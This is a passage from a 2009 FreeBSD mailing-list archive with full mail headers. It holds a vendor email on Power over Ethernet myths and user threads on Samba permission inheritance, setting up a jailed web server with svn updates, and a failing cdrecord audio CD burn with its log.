'usb/*' in > my /etc/devfs.rules. > > Best wishes, > Tony > > _______________________________________________ > freebsd-questions@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > To unsubscribe, send any mail to "freebsd-questions-unsubscribe@freebsd.org" -- Marc From owner-freebsd-questions@FreeBSD.ORG Thu Aug 27 16:44:43 2009 Return-Path: Delivered-To: questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 3304A1065691 for ; Thu, 27 Aug 2009 16:44:43 +0000 (UTC) (envelope-from Midspan@phihongusa.com) Received: from pn1.xo.com (pn1.xo.com [207.88.224.16]) by mx1.freebsd.org (Postfix) with ESMTP id D8BAC8FC36 for ; Thu, 27 Aug 2009 16:44:42 +0000 (UTC) Received: from conqueror.xo.com (conqueror.xo.com [207.155.248.187]) by pn1.xo.com (ConcentricHost(2.70) External) with ESMTP id 0A0A53AA2 for ; Thu, 27 Aug 2009 12:19:41 -0400 (EDT) Received: (ConcentricHost relay 1.2); with ESMTP id 49BBA1722; Thu, 27 Aug 2009 12:19:40 -0400 (EDT) Received: from IBM-PAIGE-PC (c-24-14-10-100.hsd1.il.comcast.net [24.14.10.100]) by conqueror.xo.com (ConcentricHost(2.70) Relay) with ESMTP id 49BBA1722 for ; Thu, 27 Aug 2009 12:19:39 -0400 (EDT) From: "Midspan Manager" To: questions@freebsd.org MIME-Version: 1.0 Organization: Phihong USA Date: Thu, 27 Aug 2009 11:19:36 -0500 Message-Id: <20090827161939.49BBA1722@conqueror.xo.com> Content-Type: text/plain ; charset="utf-8" Content-Transfer-Encoding: quoted-printable X-Content-Filtered-By: Mailman/MimeDel 2.1.5 Cc: Subject: Myths about Power Over Ethernet X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 27 Aug 2009 16:44:43 -0000 Myths about Power Over Ethernet August 27, 2009 Power-over-Ethernet (PoE) technology integrates power and data across = standard Cat5/5e/6 network cabling and provides more flexibility in to= day=E2=80=99s workplace. PoE enables power to be supplied to network d= evices, such as IP phones, network cameras, and wireless access points= through a single, most often existing, network cable. When combined w= ith an uninterruptable power supply (UPS) a PoE network delivers conti= nuous operation and minimizes business downtime by eliminating most po= wer interruptions. With the ability to install endpoints in any locati= on PoE technology provides a scalable and flexible networking infrastr= ucture geared for growth and efficiency. =20 PoE Switches can provide all the power I need or will need. Today most switches are merely PoE-enabled. This means the majority r= ely on power management to share available power across the switch por= ts. The switches are designed with a smaller power supply that is typi= cally capable of powering the switch itself and providing the required= 15.4 watts of power over a limited number of ports.=20 For example: A 24-port PoE Switch with power management typically has= a 195-watt power supply. After the 40 watts needed to power the switc= h, you have approximately 155 watts remaining. If 12 of the 24 ports a= re used to connect end devices using 11.5 watts each, you would only h= ave 17 watts remaining to provide power on the last 12 ports. The mat= h doesn=E2=80=99t match the ports: 195W =E2=80=93 40W (switch) =E2=80=93= 138 (12 devices @ 11.5W/ea) =3D 17W left for power on 12 ports=20 Myth Busted: A PoE Switch is often not the best and most cost effectiv= e solution. =20 =20 A midspan and a PoE switch are the same. A PoE Midspan is not a switch. A Midspan is an additional PoE power s= ource that can be used to offer full power to all endpoint devices. P= oE Midspans (Power Hub or Power Injector) pass data from a switch and = =E2=80=98inject=E2=80=99 safe power acting as a patch panel of sorts. = Midspans are commonly used with either a non-PoE switch, an existing = PoE switch, or a new PoE switch in a network. In addition to offering = full power across all available ports, midspans costs substantially le= ss per port and overall than a new PoE enabled switch. Myth Busted: Midspans do not switch =E2=80=93 they make use of existin= g best-in-class switches. They inject safe power across all ports and= cost less than PoE switches. .=20 =20 Only a switch that has PoE built in should be used to power devices l= ike IP Phones, Access Points, and IP Security Cameras.=20 Switches were designed to, well, switch. PoE Switches are designed wi= th power management and have to distribute different power as required= to ports but there is often not enough power for all devices plus the= power required to complete the primary task - switching. Networks th= at have multiple devices like IP phones, IP cameras, wireless access p= oints quickly go beyond the limited capacity of managed power PoE swit= ches. As more PoE devices continue to grow in capabilities and market= share this managed power limitation will become more and more evident= =2E Midspans, in contrast to switches, were designed to provide full = power on every port and deliver safe and reliable power based on the i= ndustry standards (IEEE802.3af/at).=20 Myth Busted: Rather than relying on power management in a switch use a= midspan that can deliver full power (15.4W) to every port for all PoE= -enabled devices now and in the future. =20 =20 Ethernet devices not PoE-enabled (non 802.3af/at compliant) cannot be= powered using PoE technology.=20 Many devices do not directly accept Power-over-Ethernet but can still = use PoE technology. If the device uses less than 12.5 watts (802.3af) = or less than 50 watts (802.3at+) and connects to an IP Ethernet networ= k you can use a PoE splitter. PoE splitters enable you to accept PoE = power from any IEEE 802.3af/at compliant switch or midspan then separa= tes the data and power on to two seprate cables. The data is connecte= d to the end device through a standard RJ45 plug while the power is co= nnected using a standard 5.5 x 2.1 x 12mm Adapter Plug. Splitters can= also convert the input voltage to the required voltage for a non-PoE = device. Splitters are traditionally used with older network products w= hich only accept power through their (DC) jack and data through their = RJ-45 jack. Myth Busted: PoE splitters can be used in conjunction with PoE midspan= s and switches to provide both the data connectivity and power require= d by most endpoint devices.=20 =20 I need/will need additional PoE switch ports to power my IP cameras a= nd high-power pan, tilt, and zoom (PTZ) cameras.=20 Today, many devices have evolved into more advanced solutions with hig= her power requirements. The traditional approach was to endure a =E2=80= =9Cforklift upgrade=E2=80=9D. This meant buying new PoE switches at co= nsiderable cost and physically swapping out the existing switches to m= eet higher power requirements or add more powered ports. There is an e= asy and more cost-effective way =E2=80=93 separate the data and power = in the wiring closet (IBF). It is more efficient and costs less to sep= arate your data and power allowing you to keep your best-in-class busi= ness switch for your IP needs and supplement it where required with be= st-in-class midspan technology to power the endpoints.=20 Myth Busted: A PoE Switch is often not the best and most cost effectiv= e solution.=20 =20 All midspans are created equal . . . they are all the same.=20 Always select a best-in-class midspan. If you wanted to enhance your s= witched network wouldn=E2=80=99t use a best-in-class network switch? = Of course you would. A midspan designed and manufactured by a leading = power supply company that understands power, power requirements, and o= ne that delivers enterprise-level solutions.=20 Select a midspan manufacturer that has multiple members on the IEEE (P= oE) committee helping to define safe, new PoE standards. This ensures = that every midspan is designed to meet current and future IEEE specifi= cations for Power-over-Ethernet.=20 Select a midspan manufacturer that designs, manufactures, and tests it= s own product rather than outsourcing these tasks across the globe to = cut costs. Select a midspan that has a high-speed, common interface to access the= management console. A USB port is not as cheap as a serial port (RS-2= 32) but is faster, more user-friendly, and more common on high quality= midspans.=20 Myth Busted: Although there are many midspan manufacturers out there, = few have the power supply experience, quality controls, and manufactur= ing capability to produce best-in-class midspans. All midspans are NO= T created equal. =20 =20 =20 =C2=A92009 midspans.com. Midspans.com is a division of Phihong USA Inc. All Rights Reserved=20 You are being sent this email because you have expressed interest in = PoE products in the past. If you do not wish to receive emails from us= in the future and be removed from our list please click on the link b= elow.=20 To unsubscribe, please click here. www.phihong.com - 47800 Fremont Blvd., Fremont, CA. 94538 - Phone 510-= 445-0100=20 From owner-freebsd-questions@FreeBSD.ORG Thu Aug 27 19:34:25 2009 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 09129106568D for ; Thu, 27 Aug 2009 19:34:25 +0000 (UTC) (envelope-from jwdevel@gmail.com) Received: from mail-yw0-f175.google.com (mail-yw0-f175.google.com [209.85.211.175]) by mx1.freebsd.org (Postfix) with ESMTP id B7D7A8FC1C for ; Thu, 27 Aug 2009 19:34:24 +0000 (UTC) Received: by ywh5 with SMTP id 5so1821132ywh.13 for ; Thu, 27 Aug 2009 12:34:24 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:mime-version:received:in-reply-to:references :date:message-id:subject:from:to:cc:content-type; bh=e8WIQer2Bkj8IN9e4viYRlAbcNp9ahv+iQTS3lDNEi0=; b=XKjDt3JZ8osjg2mqNB5CVnMggjPAZe5CALtx9A9uaD6+gTEst8STepTAzpozUtKYRs ZmmJqDJPbtWH50Km28Gx/X3rgpa3CH+2pwWQdd0CcIgADlBbnEDq3Kn3ylJwWW2oblK3 vYBbo+WOEshEVQ3fvRxmCZ25l/36XkgkcLM8c= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :cc:content-type; b=E/BpjvbI09W2aGUbS05/wHLyUuGdJLYdS+JfuPacaKmPUQ20nDnE+Hshvm/AmiMY2A IJ9j0qrPXApKi61m4wa2bWXlh0uVjwPSc32k35g+SCSmHIET6BfIjmTaauFzTUtGeh0n UVymPHPVjrUDTdvyLpsP+UN4V7fnRaTqz4860= MIME-Version: 1.0 Received: by 10.91.28.19 with SMTP id f19mr180385agj.54.1251401663939; Thu, 27 Aug 2009 12:34:23 -0700 (PDT) In-Reply-To: <6DFAF6A1805D48FABE793388572490D5@rivendell> References: <6DFAF6A1805D48FABE793388572490D5@rivendell> Date: Thu, 27 Aug 2009 12:34:23 -0700 Message-ID: From: John W To: Reko Turja Content-Type: text/plain; charset=ISO-8859-1 Cc: freebsd-questions@freebsd.org Subject: Re: Can anyone reproduce this Samba problem? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 27 Aug 2009 19:34:25 -0000 On Thu, Aug 27, 2009 at 2:30 AM, Reko Turja wrote: >> Interestingly, if I turn off 'inherit permissions', then 'inherit >> owner' DOES take effect correctly. However, that means the sticky bit >> does not get inherited, which will not work for me. I need both to be >> inherited, and for some reason they are behaving mutually-exclusive >> (with 'inherit permissions' taking precedence). > > If I understood your problem correctly, you don't actually want to set > sticky bit on the root directory, but suid - so the chmod would be like > > chmod 4xxx mydir > > In FreeBSD suid-bitted directory will make all the subdirs to inherit the > owner. > > Sticky bit causes bit different behaviour - see sticky (8) and chmod(1) I want both the owner AND the sticky bit to be inherited. That is my dilemma. The sticky bit is necessary in my case because I do not want anyone but the owner to modify a file once created. And further, I am setting the owner to 'nobody' so this means *no* user can modify a file once created, not even files they themselves created. That is exactly the point of this share I'm trying to create. This directory will be open to many users, via a public share, with no passwords. I want everyone to be able to create new files/dirs in this share, but I do not want anyone to be able to rename/delete/modify/overwrite/etc. *any* files once created. I am trying to avoid using SUIDDIR (see my email), though I realize that is an option. If I cannot make Samba's 'inherit owner' option work on FreeBSD, that may be my only choice. Regardless of that, I would like to determine if this is a Samba bug or not, and which versions are affected, if so. However, even if I were to use SUIDDIR, I would still need the sticky bit to prevent modifications to files. Unless I am missing something, of course (: -John From owner-freebsd-questions@FreeBSD.ORG Thu Aug 27 19:51:48 2009 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 51914106568E for ; Thu, 27 Aug 2009 19:51:48 +0000 (UTC) (envelope-from Albert.Shih@obspm.fr) Received: from blade2-ext.obspm.fr (blade2-ext.obspm.fr [145.238.186.8]) by mx1.freebsd.org (Postfix) with ESMTP id E498F8FC3C for ; Thu, 27 Aug 2009 19:51:47 +0000 (UTC) Received: from obspm.fr (pcjas.obspm.fr [145.238.184.233]) by blade2-ext.obspm.fr (8.13.8/8.13.8/SIO Observatoire de Paris - 15/11/07) with ESMTP id n7RJpiMx001067 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NOT); Thu, 27 Aug 2009 21:51:46 +0200 Date: Thu, 27 Aug 2009 21:51:45 +0200 From: Albert Shih To: APseudoUtopia Message-ID: <20090827195145.GA91653@obspm.fr> References: <27ade5280908261959q39aeab15ta300048b861a50f7@mail.gmail.com> MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Disposition: inline Content-Transfer-Encoding: 8bit In-Reply-To: <27ade5280908261959q39aeab15ta300048b861a50f7@mail.gmail.com> User-Agent: Mutt/1.5.20 (2009-06-14) X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-4.0 (blade2-ext.obspm.fr [145.238.186.20]); Thu, 27 Aug 2009 21:51:46 +0200 (CEST) X-Virus-Scanned: clamav-milter 0.95.2 at blade2-ext.obspm.fr X-Virus-Status: Clean Cc: freebsd-questions@freebsd.org Subject: Re: Information on Setting up a Jailed Webserver X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 27 Aug 2009 19:51:48 -0000 Le 26/08/2009 à 22:59:34-0400, APseudoUtopia a écrit > Hello, > > I have a small site which runs PostgreSQL, Nginx, and PHP. I'm looking > into running nginx inside a jailed host on my server for security > reasons (eg, if there is a hole in a php script). > > The website root is actually a working copy of my subversion > repository. I have svnserve running through OpenVPN. My plan would be > to have svnserve and OpenVPN running on the "main" system, and > nginx/php running inside a jail. > > I was wondering if it would be somehow possible to run a command on > the main system that updates the svn working copy inside the jail for > nginx to serve. Would I need to do the "svn up" over tcp/ip from the > jail to the main system? Or can I somehow update it via > file://path/to/main/repo? I've never used or setup a jail before, so IMHO that's bad idea. Someday you maybe want to put your website in other machine, maybe you want to have two server to duplicate your website (just need rsync). If you want update you svn repository you can put in your subversion server in the hook-scripts something like wget http://your_website/some_where/update_repo > /dev/null and in your web serveur (jail or not) you create some script update_repo with cd /your_web_site_dir svn up You can add some deny in your apache conf to authorized only your svn serveur to make the wget > Also, how memory-intensive is a jail? I'm willing to run postgresql in If you have only 32Mo you can have some problem ;-) I run almost ~20 jail server on one physical server without any problem. Regards. -- Albert SHIH SIO batiment 15 Observatoire de Paris Meudon 5 Place Jules Janssen 92195 Meudon Cedex Téléphone : 01 45 07 76 26/06 86 69 95 71 Heure local/Local time: Jeu 27 aoû 2009 21:44:15 CEST From owner-freebsd-questions@FreeBSD.ORG Thu Aug 27 21:02:33 2009 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 8EA94106568C for ; Thu, 27 Aug 2009 21:02:33 +0000 (UTC) (envelope-from Joerg.Schilling9ab33xy531fokus.fraunhofer.de@bounce.antispameurope.com) Received: from relay04-haj2.antispameurope.com (relay04-haj2.antispameurope.com [83.246.65.54]) by mx1.freebsd.org (Postfix) with ESMTP id 3D8E28FCA5 for ; Thu, 27 Aug 2009 20:39:20 +0000 (UTC) Received: by relay04-haj2.antispameurope.com (ASE-Secure-MTA, from userid 1000) id CCDC75EC19E; Thu, 27 Aug 2009 22:22:56 +0200 (CEST) Received: from pluto.fokus.fraunhofer.de (pluto.fokus.fraunhofer.de [195.37.77.164]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by relay04-haj2.antispameurope.com (ASE-Secure-MTA) with ESMTP id B01385EC19C; Thu, 27 Aug 2009 22:22:55 +0200 (CEST) Received: from EXCHSRV.fokus.fraunhofer.de (bohr.fokus.fraunhofer.de [10.147.9.231]) by pluto.fokus.fraunhofer.de (8.14.2/8.14.2) with SMTP id n7RKMt8A019543; Thu, 27 Aug 2009 22:22:56 +0200 (MEST) Received: from rigel ([10.147.65.195]) by EXCHSRV.fokus.fraunhofer.de with Microsoft SMTPSVC(6.0.3790.3959); Thu, 27 Aug 2009 22:22:54 +0200 Date: Thu, 27 Aug 2009 22:22:03 +0200 From: Joerg.Schilling@fokus.fraunhofer.de (Joerg Schilling) To: freebsd-questions@freebsd.org, yuri@rawbw.com Message-ID: <4a96eaeb.+hwTxrm8ZMkfnJv7%Joerg.Schilling@fokus.fraunhofer.de> User-Agent: nail 11.22 3/20/05 MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit X-OriginalArrivalTime: 27 Aug 2009 20:22:54.0958 (UTC) FILETIME=[28D9D0E0:01CA2754] Cc: Subject: Re: CD writing fails on P6T motherboard with Pioneer cdwriter X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 27 Aug 2009 21:02:33 -0000 Hi, you are using an _extremely_ outdated version of cdrtools. Upgrade to a recent cdrtools version ftp://ftp.berlios.de/pub/cdrecord/alpha/ If you still have problems with writing this audio CD, try to write in -raw96r mode. The pioneer drives have some strange firmware limitations and cannot write some Cds due to a broken memory layout in the firmware of the writer. Jörg -- EMail:joerg@schily.isdn.cs.tu-berlin.de (home) Jörg Schilling D-13353 Berlin js@cs.tu-berlin.de (uni) joerg.schilling@fokus.fraunhofer.de (work) Blog: http://schily.blogspot.com/ URL: http://cdrecord.berlios.de/private/ ftp://ftp.berlios.de/pub/schily From owner-freebsd-questions@FreeBSD.ORG Fri Aug 28 01:05:06 2009 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 96B78106564A for ; Fri, 28 Aug 2009 01:05:06 +0000 (UTC) (envelope-from yuri@rawbw.com) Received: from shell.rawbw.com (shell.rawbw.com [198.144.192.42]) by mx1.freebsd.org (Postfix) with ESMTP id B9B9A90057 for ; Thu, 27 Aug 2009 21:19:50 +0000 (UTC) Received: from eagle.syrec.org (c-24-6-221-126.hsd1.ca.comcast.net [24.6.221.126]) (authenticated bits=0) by shell.rawbw.com (8.13.6/8.13.6) with ESMTP id n7RLJVfA050666; Thu, 27 Aug 2009 14:19:31 -0700 (PDT) Message-ID: <4A96F862.1040508@rawbw.com> Date: Thu, 27 Aug 2009 14:19:30 -0700 From: Yuri User-Agent: Thunderbird 2.0.0.23 (X11/20090824) MIME-Version: 1.0 To: Joerg Schilling References: <4a96eaeb.+hwTxrm8ZMkfnJv7%Joerg.Schilling@fokus.fraunhofer.de> In-Reply-To: <4a96eaeb.+hwTxrm8ZMkfnJv7%Joerg.Schilling@fokus.fraunhofer.de> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 8bit Cc: freebsd-questions@freebsd.org Subject: Re: CD writing fails on P6T motherboard with Pioneer cdwriter X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list Reply-To: yuri@rawbw.com List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 28 Aug 2009 01:05:06 -0000 Joerg Schilling wrote: > Hi, > > you are using an _extremely_ outdated version of cdrtools. > > Upgrade to a recent cdrtools version > > ftp://ftp.berlios.de/pub/cdrecord/alpha/ > > If you still have problems with writing this audio CD, > try to write in -raw96r mode. The pioneer drives have some strange > firmware limitations and cannot write some Cds due to a broken memory layout > in the firmware of the writer. > > Jörg > > Yes, I used cdrtools 2.01 from FreeBSD ports which is from ~2004. For some reason all more recent version all labeled as 'alphas'. Upgrading to Cdrecord-ProDVD-ProBD-Clone 2.01.01a62 didn't help. Adding -raw96r option causes this error message: cdrecord: SAO RAW writing only makes sense in clone mode. And adding -clone on top of that causes this error message: cdrecord: SAO RAW writing not yet implemented. Yuri From owner-freebsd-questions@FreeBSD.ORG Fri Aug 28 01:12:47 2009 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 18C97106568C for ; Fri, 28 Aug 2009 01:12:47 +0000 (UTC) (envelope-from Joerg.Schilling9ab33xy531fokus.fraunhofer.de@bounce.antispameurope.com) Received: from relay03-haj2.antispameurope.com (relay03-haj2.antispameurope.com [83.246.65.53]) by mx1.freebsd.org (Postfix) with ESMTP id 64BA890072 for ; Thu, 27 Aug 2009 21:21:53 +0000 (UTC) Received: by relay03-haj2.antispameurope.com (ASE-Secure-MTA, from userid 1000) id C6D1663C093; Thu, 27 Aug 2009 23:21:35 +0200 (CEST) Received: from pluto.fokus.fraunhofer.de (pluto.fokus.fraunhofer.de [195.37.77.164]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by relay03-haj2.antispameurope.com (ASE-Secure-MTA) with ESMTP id 5955C63C088; Thu, 27 Aug 2009 23:21:32 +0200 (CEST) Received: from EXCHSRV.fokus.fraunhofer.de (bohr.fokus.fraunhofer.de [10.147.9.231]) by pluto.fokus.fraunhofer.de (8.14.2/8.14.2) with SMTP id n7RLLW4V020382; Thu, 27 Aug 2009 23:21:32 +0200 (MEST) Received: from rigel ([10.147.65.195]) by EXCHSRV.fokus.fraunhofer.de with Microsoft SMTPSVC(6.0.3790.3959); Thu, 27 Aug 2009 23:21:32 +0200 Date: Thu, 27 Aug 2009 23:20:44 +0200 From: Joerg.Schilling@fokus.fraunhofer.de (Joerg Schilling) To: yuri@rawbw.com Message-ID: <4a96f8ac.7yxfIGkQ+lxeAvHQ%Joerg.Schilling@fokus.fraunhofer.de> References: <4a96eaeb.+hwTxrm8ZMkfnJv7%Joerg.Schilling@fokus.fraunhofer.de> <4A96F862.1040508@rawbw.com> In-Reply-To: <4A96F862.1040508@rawbw.com> User-Agent: nail 11.22 3/20/05 MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit X-OriginalArrivalTime: 27 Aug 2009 21:21:32.0173 (UTC) FILETIME=[59463BD0:01CA275C] Cc: freebsd-questions@freebsd.org Subject: Re: CD writing fails on P6T motherboard with Pioneer cdwriter X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 28 Aug 2009 01:12:47 -0000 Yuri wrote: > Yes, I used cdrtools 2.01 from FreeBSD ports which is from ~2004. > For some reason all more recent version all labeled as 'alphas'. > > Upgrading to Cdrecord-ProDVD-ProBD-Clone 2.01.01a62 didn't help. > > Adding -raw96r option causes this error message: > cdrecord: SAO RAW writing only makes sense in clone mode. > And adding -clone on top of that causes this error message: > cdrecord: SAO RAW writing not yet implemented. I have no idea what you misstyped to create this error message. Did you use -sao together with -raw96r? Jörg -- EMail:joerg@schily.isdn.cs.tu-berlin.de (home) Jörg Schilling D-13353 Berlin js@cs.tu-berlin.de (uni) joerg.schilling@fokus.fraunhofer.de (work) Blog: http://schily.blogspot.com/ URL: http://cdrecord.berlios.de/private/ ftp://ftp.berlios.de/pub/schily From owner-freebsd-questions@FreeBSD.ORG Fri Aug 28 01:32:53 2009 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id E2CE21065672 for ; Fri, 28 Aug 2009 01:32:52 +0000 (UTC) (envelope-from yuri@rawbw.com) Received: from shell.rawbw.com (shell.rawbw.com [198.144.192.42]) by mx1.freebsd.org (Postfix) with ESMTP id D3837900C1 for ; Thu, 27 Aug 2009 21:25:09 +0000 (UTC) Received: from eagle.syrec.org (c-24-6-221-126.hsd1.ca.comcast.net [24.6.221.126]) (authenticated bits=0) by shell.rawbw.com (8.13.6/8.13.6) with ESMTP id n7RLOp0e051879; Thu, 27 Aug 2009 14:24:51 -0700 (PDT) Message-ID: <4A96F9A2.3080001@rawbw.com> Date: Thu, 27 Aug 2009 14:24:50 -0700 From: Yuri User-Agent: Thunderbird 2.0.0.23 (X11/20090824) MIME-Version: 1.0 To: Joerg Schilling References: <4a96eaeb.+hwTxrm8ZMkfnJv7%Joerg.Schilling@fokus.fraunhofer.de> <4A96F862.1040508@rawbw.com> <4a96f8ac.7yxfIGkQ+lxeAvHQ%Joerg.Schilling@fokus.fraunhofer.de> In-Reply-To: <4a96f8ac.7yxfIGkQ+lxeAvHQ%Joerg.Schilling@fokus.fraunhofer.de> Content-Type: text/plain; charset=UTF-8; format=flowed Content-Transfer-Encoding: 8bit Cc: freebsd-questions@freebsd.org Subject: Re: CD writing fails on P6T motherboard with Pioneer cdwriter X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list Reply-To: yuri@rawbw.com List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 28 Aug 2009 01:32:53 -0000 Joerg Schilling wrote: > Yuri wrote: > > >> Yes, I used cdrtools 2.01 from FreeBSD ports which is from ~2004. >> For some reason all more recent version all labeled as 'alphas'. >> >> Upgrading to Cdrecord-ProDVD-ProBD-Clone 2.01.01a62 didn't help. >> >> Adding -raw96r option causes this error message: >> cdrecord: SAO RAW writing only makes sense in clone mode. >> And adding -clone on top of that causes this error message: >> cdrecord: SAO RAW writing not yet implemented. >> > > I have no idea what you misstyped to create this error message. > Did you use -sao together with -raw96r? > > > > Jörg > > I used -dao. Removing -dao. Removing -dao made my command line like this: cdrecord dev=5,0,0 speed=4 -raw96r -v -pad -useinfo -text *.wav And now it fails with this log: Cdrecord-ProDVD-ProBD-Clone 2.01.01a62 (i386-unknown-freebsd7.2) Copyright (C) 1995-2009 J�rg Schilling TOC Type: 0 = CD-DA scsidev: '5,0,0' scsibus: 5 target: 0 lun: 0 Using libscg version 'schily-0.9'. SCSI buffer size: 65536 atapi: 0 Device type : Removable CD-ROM Version : 0 Response Format: 2 Capabilities : Vendor_info : 'PIONEER ' Identifikation : 'DVD-RW DVR-112D' Revision : '1.21' Device seems to be: Generic mmc2 DVD-R/DVD-RW/DVD-RAM. Current: CD-R Profile: DVD+R/DL Profile: DVD+R Profile: DVD+RW Profile: DVD-R/DL layer jump recording Profile: DVD-R/DL sequential recording Profile: DVD-RW sequential recording Profile: DVD-RW restricted overwrite Profile: DVD-R sequential recording Profile: DVD-ROM Profile: CD-RW Profile: CD-R (current) Profile: CD-ROM Using generic SCSI-3/mmc CD-R/CD-RW driver (mmc_cdr). Driver flags : MMC-3 SWABAUDIO BURNFREE Supported modes: TAO PACKET SAO SAO/R96P SAO/R96R RAW/R16 RAW/R96P RAW/R96R LAYER_JUMP Drive buf size : 1267712 = 1238 KB cdrecord: Warning: The DMA speed test has been skipped. FIFO size : 4194304 = 4096 KB Encoding speed : 1000x (75000 sectors/s) for libedc from Heiko Ei�feldt pregap1: -1 Track 01: audio 54 MB (05:24.16) no preemp Track 02: audio 41 MB (04:05.64) no preemp pregapsize: 395 Track 03: audio 56 MB (05:38.76) no preemp pregapsize: 388 Track 04: audio 67 MB (06:42.04) no preemp pregapsize: 425 Track 05: audio 29 MB (02:56.33) no preemp pregapsize: 500 Track 06: audio 84 MB (08:19.46) no preemp pregapsize: 518 Track 07: audio 57 MB (05:39.86) no preemp pregapsize: 380 Track 08: audio 32 MB (03:11.06) no preemp pregapsize: 578 Track 09: audio 40 MB (03:59.80) no preemp pregapsize: 340 Track 10: audio 95 MB (09:27.22) no preemp pregapsize: 305 Track 11: audio 27 MB (02:41.44) no preemp pregapsize: 332 Total size: 586 MB (58:05.80) = 261435 sectors Lout start: 586 MB (58:07/60) = 261435 sectors Current Secsize: 2048 ATIP info from disk: Indicated writing power: 5 Disk Is not unrestricted Disk Is not erasable Disk sub type: Medium Type B, low Beta category (B-) (4) ATIP start of lead in: -11834 (97:24/16) ATIP start of lead out: 359849 (79:59/74) Disk type: Short strategy type (Phthalocyanine or similar) Manuf. index: 24 Manufacturer: SONY Corporation Capacity Blklen/Sparesz. Format-type Type 0 2048 0x00 Unformated or Blank Media Blocks total: 359849 Blocks current: 359849 Blocks remaining: 98414 Starting to write CD/DVD/BD at speed 4 in real RAW/RAW96R mode for single session. Last chance to quit, starting real write 0 seconds. Operation starts. Waiting for reader process to fill input buffer ... input buffer ready. BURN-Free is OFF. Performing OPC... cdrecord: WARNING: Drive returns wrong startsec (-150) using -11834 from ATIP Writing lead-in at sector -11834 cdrecord: Input/output error. write_g1: scsi sendcmd: cmd timeout after 41.429 (40) s CDB: 2A 00 FF FF D4 02 00 00 1A 00 cmd finished after 41.429s timeout 40s write leadin data: error after 1400256 bytes cdrecord: Could not write Lead-in. Writing time: 56.827s cdrecord: fifo had 64 puts and 0 gets. cdrecord: fifo was 0 times empty and 0 times full, min fill was 100%. From owner-freebsd-questions@FreeBSD.ORG Fri Aug 28 03:31:48 2009 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id EA490106564A for ; Fri, 28 Aug 2009 03:31:47 +0000 (UTC) (envelope-from Joerg.Schilling9ab33xy531fokus.fraunhofer.de@bounce.antispameurope.com) Received: from relay03-haj2.antispameurope.com (relay03-haj2.antispameurope.com [83.246.65.53]) by mx1.freebsd.org (Postfix) with ESMTP id 273A09026C for ; Thu, 27 Aug 2009 21:53:23 +0000 (UTC) Received: by relay03-haj2.antispameurope.com (ASE-Secure-MTA, from userid 1000) id 401EC63C08C; Thu, 27 Aug 2009 23:53:06 +0200 (CEST) Received: from pluto.fokus.fraunhofer.de (pluto.fokus.fraunhofer.de [195.37.77.164]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by relay03-haj2.antispameurope.com (ASE-Secure-MTA) with ESMTP id 40CDA63C089; Thu, 27 Aug 2009 23:53:04 +0200 (CEST) 